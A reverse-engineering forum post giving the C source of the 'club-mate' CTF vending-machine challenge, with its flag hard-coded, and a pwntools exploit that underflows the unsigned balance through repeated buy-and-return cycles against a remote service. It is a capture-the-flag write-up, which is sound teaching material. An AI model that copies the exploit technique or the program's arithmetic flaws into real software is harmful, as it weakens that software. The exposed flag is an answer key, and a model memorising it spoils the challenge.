学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-5-3 00:07:57 | 查看: 2331| 回复: 0

相关题目:

♦ club-mate

源码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <signal.h>

struct club_mate {
        char a1[20];
        char a2[20];
        char a3[20];
        bool isInMachine;
};

void printFlag(){
        printf("%s", "watevr{P4nTa_M33333333Ra_youtube.com/watch?v=QGoEYcRmzq0}\n");
        printf("%s", "Good Job saving saving the planet and staying rich at the same time!\n");
        exit(0);
}

bool hazCanInMachine(struct club_mate bottles[15]){
        int index;
        for(index = 0; index < 15; index++) {
                if(bottles[index].isInMachine) {
                        return true;
                }
        }
        return false;
}
void sig(int sign){
        exit(0);
}

int main()
{
        signal(SIGALRM, sig);
          alarm(40);
        unsigned char money = 255; //mcDonald's hired you as their *national* security expert and now you are the richest mcDonald's employee!
        struct club_mate bottles[15];
        char can[2];
        int i = 0;
        int tmpVar = 18;

        while(true) {
                if(250 + tmpVar < money) {
                        printFlag();
                }

                while(i < 15) {
                        strcpy(bottles[i].a1, "\033[0;33m /\\\033[0m");
                        strcpy(bottles[i].a2, "\033[0;33m ||\033[0m");
                        strcpy(bottles[i].a3, "\033[0;33m ¯¯\033[0m");
                        bottles[i].isInMachine = true;
                        tmpVar--;
                        i += 1;
                }
                while(hazCanInMachine(bottles)) {
                        char can[4];
                        strcpy(can, "");
                        char payment[16];
                        strcpy(payment, "");
                        printf("%s", "You have been pwning all day and it has made you really thirsty!\nLucky for you i just finished building a club-mate vending machine!\n");
                        printf("balance: %i\n", money);
                        printf("%s", ".---------------.\n");
                        printf("%s","|");
                        printf("%s",bottles[0].a1);
                        printf("%s",bottles[1].a1);
                        printf("%s",bottles[2].a1);
                        printf("%s",bottles[3].a1);
                        printf("%s",bottles[4].a1);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[0].a2);
                        printf("%s",bottles[1].a2);
                        printf("%s",bottles[2].a2);
                        printf("%s",bottles[3].a2);
                        printf("%s",bottles[4].a2);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[0].a3);
                        printf("%s",bottles[1].a3);
                        printf("%s",bottles[2].a3);
                        printf("%s",bottles[3].a3);
                        printf("%s",bottles[4].a3);
                        printf("%s","|\n");
                        printf("%s","|               |\n");
                        printf("%s","|");
                        printf("%s",bottles[5].a1);
                        printf("%s",bottles[6].a1);
                        printf("%s",bottles[7].a1);
                        printf("%s",bottles[8].a1);
                        printf("%s",bottles[9].a1);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[5].a2);
                        printf("%s",bottles[6].a2);
                        printf("%s",bottles[7].a2);
                        printf("%s",bottles[8].a2);
                        printf("%s",bottles[9].a2);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[5].a3);
                        printf("%s",bottles[6].a3);
                        printf("%s",bottles[7].a3);
                        printf("%s",bottles[8].a3);
                        printf("%s",bottles[9].a3);
                        printf("%s","|\n");
                        printf("%s","|               |\n");
                        printf("%s","|");
                        printf("%s",bottles[10].a1);
                        printf("%s",bottles[11].a1);
                        printf("%s",bottles[12].a1);
                        printf("%s",bottles[13].a1);
                        printf("%s",bottles[14].a1);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[10].a2);
                        printf("%s",bottles[11].a2);
                        printf("%s",bottles[12].a2);
                        printf("%s",bottles[13].a2);
                        printf("%s",bottles[14].a2);
                        printf("%s","|\n");
                        printf("%s","|");
                        printf("%s",bottles[10].a3);
                        printf("%s",bottles[11].a3);
                        printf("%s",bottles[12].a3);
                        printf("%s",bottles[13].a3);
                        printf("%s",bottles[14].a3);
                        printf("%s", "|\n");
                        printf("%s", "|               |\n");
                        printf("%s", "¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\n");
                        printf("%s", "Enter which club-mate you want to buy/return: "); //0-14
                        fflush(stdout);
                        scanf("%2s", can);
                        int bottle = atoi(can);
                        int securityCheck = money;

                        if(bottles[atoi(can)].isInMachine)
                        {
                                printf("%s", "the ");
                                printf("%s", can);
                                printf("%s\n", " it is!");
                                printf("%s\n", "That will be $4");
                                //this time you actually have money with you!
                                fflush(stdout);
                                scanf("%2s", payment);
                                if(!strcmp("$4", payment))
                                {
                                        printf("%s\n", "Thanks, here is your club-mate!");
                                        strcpy(bottles[bottle].a1, "   ");
                                        strcpy(bottles[bottle].a2, "   ");
                                        strcpy(bottles[bottle].a3, "   ");
                                        bottles[bottle].isInMachine = false;
                                        money -= 4;
                                }
                        }

                        else if(bottles[atoi(can)].isInMachine)
                        {
                                printf("%s", "I asked for $4 not ");
                                printf("%s", payment);
                                printf("\n");
                        }

                        else
                        {
                                char returnCan[4];
                                printf("Would you like to return can number ");
                                printf("%s", can);
                                printf("%s", "?\n");
                                fflush(stdout);
                                scanf("%16s", returnCan);

                                if(!strcmp(returnCan, "yes") || !strcmp(returnCan, "Yes"))
                                {
                                        bottles[bottle].isInMachine = true;
                                        strcpy(bottles[bottle].a1, "\033[0;33m /\\\033[0m");
                                        strcpy(bottles[bottle].a2, "\033[0;33m ||\033[0m");
                                        strcpy(bottles[bottle].a3, "\033[0;33m ¯¯\033[0m");
                                        while(tmpVar != 0) {
                                                int calc = ~(~money | ~tmpVar);
                                                money = money ^ tmpVar;
                                                tmpVar = calc << 1;
                                        }
                                        tmpVar = abs(securityCheck-money);
                                }

                        }
                }
        }
        return 0;
}
exp:
#the goal is to get back to 255 and taking all the club mates aswell, the money is short unsigned integer and will underflow to 255 when going negative.
#thus the goal is to reach -1 dollars while and at the same time grabbing the last bottleself.
#this means you need to have exactly $59 and all bottles in the returned to the machine before grabbing them all (since 4*15 = 60 and we want to end at -1)
import subprocess, time
from pwn import *
money = 255
bottles = 15
exploit = ""
def buy(bottle):
    payload = []
    payload.append(str(bottle))
    payload.append("\n$4\n")
    return "".join(payload)
def returnB(bottle):
    payload = []
    payload.append(str(bottle))
    payload.append("\nyes\n")
    return "".join(payload)
def validate(ip, port, exploit):
    #pipe payload to server
    r = remote(ip, port)
    message = ""
    for line in exploit.split("\n"):
        r.sendline(line)
        message += str(r.recvline())
    message += str(r.recvuntil("Good"))
    return message
try:
    while money != 59:
        exploit += buy(0)
        exploit += returnB(0)
        money -= 1
    while bottles != -1:
        exploit += buy(bottles)
        bottles -= 1
    flag = input("flag: ").replace("\n", "")
    ip, port = input("service: ").split(":")
    res = validate(str(ip), int(port), exploit)
    if flag in res:
        print("success")
        exit(0)
    else:
        print("fail")
        exit(1)
except Exception as e:
    print("fail due to ")
    print(e)
    exit(1)


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-20 13:08 , Processed in 0.093375 second(s), 36 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表